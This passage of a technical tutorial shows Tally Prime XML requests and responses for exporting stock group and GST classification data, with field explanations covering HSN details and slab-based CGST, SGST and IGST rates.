                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">GSTSLABRATES.LIST</span>&gt;</span>       <span class="hljs-tag">&lt;/<span class="hljs-name">GSTSLABRATES.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">STATEWISEDETAILS.LIST</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">GSTDETAILS.LIST</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">HSNDETAILS.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">APPLICABLEFROM</span>&gt;</span>20240401<span class="hljs-tag">&lt;/<span class="hljs-name">APPLICABLEFROM</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSNCODE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSN</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSNCLASSIFICATIONNAME</span>&gt;</span>GST Group<span class="hljs-tag">&lt;/<span class="hljs-name">HSNCLASSIFICATIONNAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">SRCOFHSNDETAILS</span>&gt;</span>Use GST Classification<span class="hljs-tag">&lt;/<span class="hljs-name">SRCOFHSNDETAILS</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">HSNDETAILS.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">STOCKGROUP</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">COLLECTION</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">DATA</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">BODY</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">ENVELOPE</span>&gt;</span>
</code></pre>
<p>This version focuses on the <code>STOCKGROUP</code> elements with relevant GST details and HSN details.</p>
<h2 id="heading-export-gst-classification-data-from-tally-prime"><strong>Export GST Classification data from Tally Prime</strong></h2>
<p><strong>XML Request:</strong></p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">ENVELOPE</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">HEADER</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">VERSION</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">VERSION</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">TALLYREQUEST</span>&gt;</span>EXPORT<span class="hljs-tag">&lt;/<span class="hljs-name">TALLYREQUEST</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">TYPE</span>&gt;</span>COLLECTION<span class="hljs-tag">&lt;/<span class="hljs-name">TYPE</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">ID</span>&gt;</span>List of Classification<span class="hljs-tag">&lt;/<span class="hljs-name">ID</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">HEADER</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">BODY</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">DESC</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">STATICVARIABLES</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">SVEXPORTFORMAT</span>&gt;</span>$$SysName:XML<span class="hljs-tag">&lt;/<span class="hljs-name">SVEXPORTFORMAT</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">STATICVARIABLES</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">TDL</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">TDLMESSAGE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">COLLECTION</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"List of Classification"</span> <span class="hljs-attr">ISINITIALIZE</span>=<span class="hljs-string">"Yes"</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">TYPE</span>&gt;</span>GSTCLASSIFICATION<span class="hljs-tag">&lt;/<span class="hljs-name">TYPE</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>HSNDetails<span class="hljs-tag">&lt;/<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>GSTDetails<span class="hljs-tag">&lt;/<span class="hljs-name">NATIVEMETHOD</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">COLLECTION</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">TDLMESSAGE</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">TDL</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">DESC</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">BODY</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">ENVELOPE</span>&gt;</span>
</code></pre>
<p>The provided XML request is designed to export GST classification data from Tally, including detailed HSN and GST information.</p>
<p><strong>TDL Section:</strong></p>
<ul>
<li><p><strong>TDLMESSAGE:</strong> Within this, a collection named "List of Classification" is initialized and configured to extract GST classification data.</p>
</li>
<li><p><strong>COLLECTION:</strong></p>
<ul>
<li><p><strong>NAME:</strong> The name of the collection is "List of Classification."</p>
</li>
<li><p><strong>ISINITIALIZE:</strong> This attribute is set to "Yes," indicating that the collection should be initialized before fetching the data.</p>
</li>
<li><p><strong>TYPE:</strong> Specifies the type of data to be fetched, which is "GSTCLASSIFICATION."</p>
</li>
<li><p><strong>NATIVEMETHOD:</strong> The request includes two native methods:</p>
<ul>
<li><p><strong>HSNDetails:</strong> Fetches HSN (Harmonized System of Nomenclature) details associated with the GST classification.</p>
</li>
<li><p><strong>GSTDetails:</strong> Retrieves GST-related details associated with the classification.</p>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<p><strong>XML Response:</strong></p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">ENVELOPE</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">HEADER</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">VERSION</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">VERSION</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">STATUS</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">STATUS</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">HEADER</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">BODY</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">DESC</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">CMPINFO</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">COMPANY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">COMPANY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">LEDGER</span>&gt;</span>2<span class="hljs-tag">&lt;/<span class="hljs-name">LEDGER</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">COSTCATEGORY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">COSTCATEGORY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">COSTCENTRE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">COSTCENTRE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GODOWN</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GODOWN</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STOCKGROUP</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">STOCKGROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STOCKCATEGORY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">STOCKCATEGORY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STOCKITEM</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">STOCKITEM</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">CURRENCY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">CURRENCY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">UNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">UNIT</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">BUDGET</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">BUDGET</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">CLIENTRULE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">CLIENTRULE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">SERVERRULE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">SERVERRULE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">STATE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">TDSRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">TDSRATE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">TAXCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">TAXCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STCATEGORY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">STCATEGORY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">DEDUCTEETYPE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">DEDUCTEETYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">ATTENDANCETYPE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">ATTENDANCETYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">FBTCATEGORY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">FBTCATEGORY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">FBTASSESSEETYPE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">FBTASSESSEETYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">TARIFFCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">TARIFFCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">EXCISEDUTYCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">EXCISEDUTYCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">SERIALNUMBER</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">SERIALNUMBER</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">ADJUSTMENTCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">ADJUSTMENTCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">INCOMETAXSLAB</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">INCOMETAXSLAB</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">INCOMETAXCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">INCOMETAXCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">LBTCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">LBTCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">TAXUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">TAXUNIT</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">RETURNMASTER</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">RETURNMASTER</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GSTCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERNUMBERSERIES</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERNUMBERSERIES</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHER</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHER</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">CMPINFO</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">DESC</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">DATA</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">COLLECTION</span> <span class="hljs-attr">ISMSTDEPTYPE</span>=<span class="hljs-string">"Yes"</span> <span class="hljs-attr">MSTDEPTYPE</span>=<span class="hljs-string">"0"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GSTCLASSIFICATION</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"GST Group"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">""</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTDETAILS.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">APPLICABLEFROM</span>&gt;</span>20240401<span class="hljs-tag">&lt;/<span class="hljs-name">APPLICABLEFROM</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTNOTIFICATIONDATE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">CALCULATIONTYPE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">REPORTINGUOM</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSNCODE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSNMASTERNAME</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSN</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">SUPPLYTYPE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">TAXABILITY</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTNOTIFICATIONNUMBER</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTNATUREOFTRANSACTION</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NATUREOFGOODS</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">SRCOFGSTDETAILS</span>&gt;</span>Specify Slab-Based Rates<span class="hljs-tag">&lt;/<span class="hljs-name">SRCOFGSTDETAILS</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTCALCSLABONMRP</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">ISREVERSECHARGEAPPLICABLE</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">ISNONGSTGOODS</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">GSTINELIGIBLEITC</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">INCLUDEEXPFORSLABCALC</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">REVERSECHARGERATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">REVERSECHARGERATE</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">STATEWISEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">STATENAME</span>&gt;</span><span class="hljs-symbol">&amp;#4;</span> Any<span class="hljs-tag">&lt;/<span class="hljs-name">STATENAME</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>       <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">GSTSLABRATES.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">TAXABILITY</span>&gt;</span>Taxable<span class="hljs-tag">&lt;/<span class="hljs-name">TAXABILITY</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">TOITEMRATE</span>&gt;</span> 29<span class="hljs-tag">&lt;/<span class="hljs-name">TOITEMRATE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>CGST<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span> 6<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                                <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>SGST/UTGST<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span> 6<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                                <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>IGST<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span> 12<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                                <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>Cess<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span><span class="hljs-symbol">&amp;#4;</span> Not Applicable<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                                <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>State Cess<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                                <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">GSTSLABRATES.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">GSTSLABRATES.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">TAXABILITY</span>&gt;</span>Taxable<span class="hljs-tag">&lt;/<span class="hljs-name">TAXABILITY</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">TOITEMRATE</span>&gt;</span> 89<span class="hljs-tag">&lt;/<span class="hljs-name">TOITEMRATE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>CGST<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span> 2.50<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                                <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>SGST/UTGST<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span> 2.50<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                                <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>IGST<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span> 5<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                                <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>Cess<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span><span class="hljs-symbol">&amp;#4;</span> Not Applicable<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                                <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>State Cess<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                                <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">GSTSLABRATES.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">GSTSLABRATES.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">TAXABILITY</span>&gt;</span>Taxable<span class="hljs-tag">&lt;/<span class="hljs-name">TAXABILITY</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">TOITEMRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">TOITEMRATE</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>CGST<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
